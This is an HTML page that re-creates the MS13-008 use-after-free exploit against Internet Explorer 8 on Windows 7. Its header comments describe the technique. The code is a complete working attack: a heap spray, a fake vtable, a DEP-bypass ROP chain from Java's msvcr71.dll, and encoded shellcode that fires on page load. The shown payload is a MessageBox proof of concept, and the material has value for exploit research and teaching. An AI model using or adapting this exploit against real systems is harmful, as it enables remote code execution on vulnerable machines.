<!doctype html>
<html>
<head>
<script>

// __   __  _______  ____   _______         _______  _______   _____  
//|  |_|  ||       ||    | |       |       |  _    ||  _    | |  _  | 
//|       ||  _____| |   | |___    | ____  | | |   || | |   | | |_| | 
//|       || |_____  |   |  ___|   ||____| | | |   || | |   ||   _   |
//|       ||_____  | |   | |___    |       | |_|   || |_|   ||  | |  |
//| ||_|| | _____| | |   |  ___|   |       |       ||       ||  |_|  |
//|_|   |_||_______| |___| |_______|       |_______||_______||_______|
//
// Re-creation of MS13-008 Internet Explorer CButton UAF exploit
//
// Tested on: Windows 7 SP1 Home Basic 64-bit with Internet Explorer 8 (800.7601.17514)
// Relies on: Java (JRE) v6.45
// Original author: Mahmud Ab Rahman
// Re-creation author: Forrest Orr
//
// Overview
//
// This exploit is loosely based on the public Metasploit module for MS13-008 on Github
// at: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ie_cbutton_uaf.rb
//
// For DEP bypass, I'm using the same Msvcr71.dll ROP chain as MSF (a non-ASLR module from Java v6.45).
//
// The exploit works by triggering the creation of a CButton object, having it freed, allocating a malicious object
// with a fake (heap sprayed) vtable at its same start address, and then having a method from it called via its
// vtable through MSHTML.DLL using a bugged (dangling) pointer. This bug lacks the flexibility to be used for a
// memory leak/ASLR bypass (the two registers it allows control over cannot be used for arbitrary write). Therefore
// EIP hijack is its primary use, and it requires either a separate (unrelated) memory leak exploit or non-ASLR module
// to exploit.
//
// Payload
//
// The shellcode is my own custom code, the source for which can be found at:
// https://github.com/forrest-orr/ExploitDev/blob/master/Shellcode/Projects/MessageBox/MessageBox32.asm
//
// In order for my shellcode to play nicely with unescape, I ran it through the alpha_mixed ASCIi encoder module
// in msfvenom. Msfvenom gave me odd results when I directly applied it to my shellcode, but worked clean when
// I applied my shellcode as a secondary payload, and set a do-nothing shellcode (just a RET instruction) as the
// primary payload. Msfvenom requires that a register be provided to its encoders which can be depended upon to
// point to the shellcode at runtime (for position independent decoding purposes). Failing to provide this register
// results in msfvenom using FPU instructions to grab EIP, which corrupts the shellcode since it is being stored
// at the top of the stack (a region written to by the FPU instruction). Due to the use of the PUSHAD technique in
// the ROP chain, there's a 4 byte NOP sled at ESP above the shellcode in memory which must be accounted for. I
// solve this by giving a "BufferOffset" of 4 to msfvenom.
//
// Design
//
// The MSF variation of this exploit uses the MSTIME object trick in order to dynamically generate a valid
// vtable address within the fake CButton object at the dangling pointer. For my variation I chose to use a heap
// spray, as a persistent issue I had with the MSTIME object was that the shellcode blocks it referenced had no
// space (below their allocation address) for the stack to grow down, which caused msfvenom and my shellcode to
// occasionally crash trying to grow the stack into un-committed memory.
//
// Quirks
//
// The <!doctype html> declaration is a compliance standard, without it the exploit does not trigger.


var SprayCount = 400; // This is enough to consistently hit 0x0AEB0000
var SprayArray = new Array(SprayCount); // CollectGarbage will free heap sprayed chunks if this is not global.
var Shellcode = unescape("%u5954%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5137%u6a5a%u5841%u3050%u3041%u6b41%u4141%u3251%u4241%u4232%u3042%u4242%u4241%u5058%u4138%u7542%u494a%u7061%u6c79%u506c%u6858%u6f4d%u5035%u5065%u7077%u3075%u496c%u7569%u3130%u5248%u5443%u4b4c%u3276%u7064%u4b6c%u4251%u4c54%u4b4c%u5250%u3452%u6b6e%u4263%u4876%u504c%u4f74%u576e%u6a62%u4636%u5176%u6f79%u504c%u6145%u304f%u4c6e%u704e%u6c75%u7161%u6c61%u5265%u6c64%u7065%u5159%u6f5a%u4d74%u3133%u5779%u306a%u6278%u6e58%u307a%u6b78%u5175%u6363%u6243%u4751%u706e%u6b4e%u6233%u7036%u4b6c%u4230%u6c35%u7167%u706a%u504c%u6b4e%u3057%u7870%u6b48%u7177%u5272%u454c%u306f%u6f36%u646e%u6b30%u5035%u3033%u5055%u6146%u5078%u3076%u304a%u4b4c%u3867%u7856%u4b6c%u6863%u7065%u6136%u5348%u306a%u536b%u4b51%u6962%u4b4c%u3430%u4b6c%u5145%u767a%u504c%u3130%u6f49%u7134%u5069%u4c4e%u704e%u616a%u6f4a%u4d54%u7177%u4748%u3870%u7039%u3574%u7378%u6b58%u5445%u6f36%u3051%u4466%u4d32%u7357%u4d63%u7868%u6b45%u6d51%u5457%u4553%u5a78%u706e%u7872%u706e%u6b6e%u3856%u7455%u304a%u6b68%u6546%u6c4e%u4a6c%u5253%u4258%u4c75%u6166%u5378%u706e%u5643%u6b4e%u6c76%u6b52%u4b7a%u7847%u516f%u6174%u6a73%u5059%u6344%u7462%u6f79%u3238%u4b4c%u4861%u6c67%u3133%u5338%u4b6c%u3463%u4b6c%u5135%u5058%u304a%u794f%u6432%u5457%u5447%u6b63%u6b43%u3165%u6953%u6a33%u7132%u307a%u6f59%u304d%u6853%u6f43%u5a70%u504c%u6b6e%u3262%u495a%u3056%u6f49%u4f4b%u6f59%u4d71%u304a%u6e4d%u5245%u3043%u5045%u7077%u5a43%u7043%u704e%u7871%u7057%u5034%u5035%u7067%u3636%u706e%u7a71%u5035%u304a%u5843%u4871%u446e%u7372%u455a%u4f6b%u5578%u305a%u696e%u5379%u494c%u674a%u494c%u516a%u484a%u4e30%u3033%u7067%u5065%u6e43%u6b48%u3343%u3956%u6564%u6f67%u7258%u644c%u304a%u584b%u5947%u5075%u7067%u7057%u6b58%u5875%u5245%u365a%u6d38%u3262%u6c49%u6b55%u5a4c%u4c6c%u4b6f%u7049%u4d35%u4a56%u7a37%u4872%u3639%u756e%u6d4d%u6d6f%u6f79%u756a%u6c45%u6646%u6c51%u7a57%u306b%u6b69%u7049%u4543%u7537%u6b6d%u3737%u3352%u3254%u4f32%u5a53%u3033%u5350%u4f6b%u5558%u5146%u5059%u7052%u5070%u5070%u5350%u7042%u3056%u4842%u6865%u3865%u6d66%u3652%u6f59%u356e%u5870%u6843%u5133%u7979%u3743%u3063%u7067%u5035%u586b%u4d6e%u6f79%u6f69%u6f69%u304a%u5369%u3536%u794f%u6578%u4862%u484c%u6e52%u6d76%u7047%u487a%u5370%u3043%u7067%u5065%u6850%u766f%u6773%u6d36%u7047%u5050%u6848%u546c%u5075%u5035%u5035%u7851%u3370%u3230%u7067%u3033%u3845%u7532%u3344%u4572%u3274%u6463%u4f4b%u5078%u6870%u4a55%u3838%u4634%u3033%u7062%u484a%u6c31%u7077%u5065%u3063%u6a70%u6450%u7831%u3034%u3734%u4e52%u4532%u494c%u6178%u6870%u6e70%u4542%u6431%u5065%u3845%u6f70%u6251%u3244%u4e46%u5873%u4542%u7330%u7430%u6d74%u5853%u5643%u4f42%u4233%u6231%u7831%u3744%u7750%u4743%u6e64%u496c%u324d%u6a50%u3073%u6243%u5150%u4a72%u7067%u6f79%u706a%u696e%u4c5a%u6d33%u634a%u7532%u394b%u454a%u7762%u6673%u4e4f%u7044%u7037%u5075%u7067%u3475%u4d6e%u6b4e%u5051%u4c44%u4b4c%u4833%u5854%u396b%u6e69%u5136%u5079%u4b6a%u6476%u4977%u6749%u6451%u7865%u456c%u6679%u3444%u3451%u6d4e%u6e53%u3471%u556d%u6b6b%u4433%u5444%u6b4e%u6b62%u3453%u454c%u396f%u7470%u4d64%u5a63%u3143%u7132%u7869%u4d31%u7157%u3033%u5075%u6b35%u5561%u7877%u5472%u5675%u7164%u5049%u4b6c%u5656%u6b68%u5758%u6b6e%u7643%u3052%u6e33%u4f61%u494c%u6c58%u4d51%u724b%u4454%u7057%u4561%u796f%u554b%u314b%u4c5a%u7044%u5235%u7037%u5075%u4b4c%u6532%u5835%u394b%u4550%u6839%u4b6c%u7562%u7838%u3373%u4270%u4c47%u734f%u5059%u6476%u594d%u4570%u306c%u334b%u304f%u6447%u694e%u6562%u544a%u696e%u4248%u4b6c%u3537%u6876%u4344%u6252%u3055%u6b6e%u7a33%u3455%u796f%u6d32%u304e%u496c%u6542%u6c79%u696e%u326f%u6b6e%u6532%u4854%u3363%u7263%u7075%u496c%u7573%u4c4a%u4b4c%u7542%u6c39%u6b6e%u5551%u4874%u3333%u7233%u5477%u396b%u6542%u7469%u4b4c%u5550%u6c59%u4b4c%u5571%u6876%u4354%u3267%u6c37%u394b%u5561%u487a%u6145%u5069%u596d%u7563%u506b%u594d%u6552%u4839%u6b6e%u3557%u6c59%u6b4e%u7073%u5844%u4b57%u3537%u504b%u4f34%u466c%u727a%u3053%u7067%u5035%u6b6e%u7543%u7069%u4d6c%u4c74%u456c%u5045%u5045%u3053%u7067%u4b6c%u3556%u4c4a%u6b6e%u7553%u7877%u3353%u7467%u6147%u696e%u7543%u4449%u6a70%u7037%u7042%u386d%u6d4d%u5055%u3063%u5075%u4b67%u7573%u4c44%u6f76%u554d%u716d%u5055%u3073%u7067%u4b6c%u6542%u7049%u6d6e%u3462%u5075%u6b4e%u6542%u445a%u6f46%u3778%u7437%u3253%u6d4e%u4c34%u654e%u5055%u3033%u3033%u3053%u4b6c%u5530%u6868%u6b6e%u3537%u4854%u6376%u3453%u6147%u494c%u7563%u5838%u4b6c%u6d52%u6c69%u394b%u4a68%u6336%u4571%u5058%u3970%u784b%u6c31%u4f43%u6965%u5078%u4d53%u4b73%u5769%u3557%u4859%u3033%u7047%u3063%u5035%u6165%u5959%u6d4e%u6d6f%u704a%u4d6b%u6f79%u4f6b%u6a4e%u7456%u7867%u504d%u7a48%u5065%u5462%u5077%u304b%u6a39%u4e36%u5562%u6567%u376f%u5355%u4e56%u5443%u6c50%u4c72%u634e%u4358%u6466%u4648%u4374%u5065%u6d4e%u4d6d%u707a%u6e59%u6f39%u6f69%u5131%u4b6a%u6e6b%u686e%u3362%u7163%u5371%u4b6a%u784a%u5679%u6336%u7077%u4d4c%u6d6f%u706a%u6d49%u6f79%u6f39%u7a31%u7037%u5350%u6868%u4c47%u3063%u7047%u7037%u3066%u7879%u3349%u4e4b%u6f59%u4f4b%u754f%u706b%u6471%u6974%u694e%u5551%u4c69%u7a51%u7037%u4d4c%u654f%u705a%u6e69%u6f69%u6f59%u7232%u486a%u6164%u5055%u7037%u3073%u3046%u4f6b%u7570%u6c6b%u486a%u316e%u4e6b%u4f4b%u6f69%u394b%u7533%u686b%u4b5a%u6a36%u4d4c%u3577%u7079%u6f69%u7057%u7969%u6f77%u4f4b%u6f39%u6f39%u4b4c%u7553%u4879%u394b%u6c78%u6d53%u625a%u7857%u3073%u7552%u396b%u7539%u4751%u6b6e%u4d70%u7847%u4b6c%u4d73%u6c56%u6145%u4b69%u304b%u7934%u3043%u5472%u4435%u4f54%u566e%u7177%u6c56%u3075%u4f74%u3678%u706a%u3173%u4379%u616b%u7379%u3137%u756f%u6f59%u3454%u6a38%u6172%u6b58%u574b%u696e%u786a%u6f43%u594d%u4c5a%u4d31%u326f%u6876%u5055%u4141"); // msfvenom -p generic/custom -e x86/alpha_mixed BufferRegister=ESP BufferOffset=4 -a x86 --platform Windows -c c:\MessageBox32.BIN -o Z:\Shared\ExploitDev\shellcode-encoded.bin PAYLOADFILE=z:\Shared\ExploitDev\NothingShellcode32.bin

function ConvertDwordArrayToBytes(DwordArray) {
	var ByteArray = [];
	
	for (i = 0; i < DwordArray.length; i++) {
		ByteArray.push(DwordArray[i] & 0xffff);
		ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
	}
	
	return String.fromCharCode.apply(null, ByteArray);
}

function CreateUafObject(VtableAddressBytes, Size) {
	var Obj = "";
	
	while (Obj.length < ((Size - (VtableAddressBytes.length * 2)) / 2)) {
		if(Obj.length == 0) {
			Obj += VtableAddressBytes;
		}
		else {
			Obj += ConvertDwordArrayToBytes([0x99999999]);
		}
	}
	
	return Obj;
}

function BuildRopNopSled(RopNopAddressBytes, Size) {
	var Obj = "";
	
	while (Obj.length < (Size / 2)) {
		Obj += RopNopAddressBytes;
	}
	
	return Obj;
}
	
function HeapSpray(Content, StartOffset, RegionCount) { // Spray the data specified in Content in 0x10000 chunks within 1MB allocated regions. The starting offset of the content in the 1MB chunks may be 0, or any multiple of 2.
	var PrePadding = unescape("%u1111");
	var TailPadding = unescape("%u2222");
	var Data;
	
	if(StartOffset > 0) {
		Data = PrePadding;
		
		for(i = 0; i < ((StartOffset / 2) - 1); i++) { // -1 for var init
			Data += PrePadding;
		}
		
		Data += Content
	}
	else {
		Data = Content;
	}
	
	// These are chunks of 0x10000 bytes, then x 16 for 1MB. 0x10000 is the ideal size for heap spray as it ensures consistency, while 1MB is not (they will not always begin at a consistent 1MB multiple). 1MB chunks have a 0x20 header size, others have 0x8. 0x10000 will end up as sub-chunks within the 1MB allocations with no headers. This ensures that any multiple of 0x10000 ie. 0x11a00000, 0x11b00000, etc. will always be hit, and the payload will be at offset 0x24 within them (to accomodate 1MB header size of 0x20 + 4 byte BSTR length).
	
	while (TailPadding.length < (65536/2)) { // This is a fast way of making a large chunk
	  TailPadding = TailPadding + TailPadding
	}
	
	Data = Data + TailPadding;
	
	// 65536 * 16 = 1048576 (1MB). Exclude 38 (0x26) bytes for heap chunk header (0x20 bytes), BSTR length (0x4 bytes), null terminator (0x2 bytes).
	
	var SprayChunk = Data.substr(0, 65536/2);
	
    for (i = 0; i < 14; i++) {
		SprayChunk += Data.substr(0, 65536/2);
    }
    
	SprayChunk += Data.substr(0, (65536/2) - (38/2));
	
    for (i = 0; i < RegionCount; i++) {
      SprayArray[i] = SprayChunk.substr(0, SprayChunk.length);
    }
}

function CreateFakeVtable() {
	var FakeVtable = BuildRopNopSled(ConvertDwordArrayToBytes([0x7C348B06]), (0xDC - 4)); // EIP hijack at CALL [EAX + 0xDC] within mshtml.dll at +0x1AE1E6
	FakeVtable += ConvertDwordArrayToBytes([0x7C364C66]); // POP EBP ; RET  gadget to hop over stack pivot at 0xDC after ROPNOP sled from 0x0AEB0024 up to 0x0AEB0100 (+0xDC from start of fake vtable)
	FakeVtable += ConvertDwordArrayToBytes([0x7C348B05]); // XCHG EAX, ESP ; RET
	var Msvcr71RopChain = unescape("%u4c66%u7c36%u4c66%u7c36%u4edc%u7c34%ucfff%uffff%u1e05%u7c35%u36e3%u7c35%uffff%uffff%u5255%u7c34%u218e%u7c35%u5937%u7c34%uffc0%uffff%u1eb1%u7c35%uc5b9%u7c36%u1e67%u7c39%u2e58%u7c34%ud202%u7c34%uf8f4%u7c34%u15a2%u7c34%u4edc%u7c34%ua151%u7c37%u8c81%u7c37%u5c30%u7c34");
	FakeVtable += Msvcr71RopChain; // Non-ASLR module from Java v6.45
	FakeVtable += Shellcode;
	return FakeVtable;
}

function ActivateLFH() {
	for(i =0; i < 20; i++) {
		document.createElement('button');
	}
}

function TriggerUAF(FakeCButtonObj) {
	BugForm = document.getElementById("BugFormId");
	BugDiv = document.getElementById("BugDivId");

	BugDiv.appendChild(document.createElement('button'));
	BugDiv.firstChild.applyElement(BugForm);
	BugDiv.innerHTML = "";
	BugDiv.appendChild(document.createElement('body'));

	CollectGarbage(); // Trigger the creation of the dangling pointer
	BugDiv.className = FakeCButtonObj.substr(0); // Clone the fake CButton object. Due to LFH, Windows 7 should give it the same address as the freed CButton referenced by the dangling pointer.
}

function Exploit() {
	var Payload = CreateFakeVtable();
	HeapSpray(Payload, 0, SprayCount); // The heap spray is order insensitive in this exploit. It can be here before the LFH, after the LFH before the trigger, after the trigger etc.
	var FakeCButtonObj = CreateUafObject(ConvertDwordArrayToBytes([0x0AEB0024]), 0x58); // This object does NOT have a BSTR length field, despite being constructed as a "string" internally
	ActivateLFH();
	TriggerUAF(FakeCButtonObj);
}

</script>
</head>
<body onload="eval(Exploit())">
<div id="BugDivId"></div>
<form id="BugFormId">
</form>
</body>
</html>
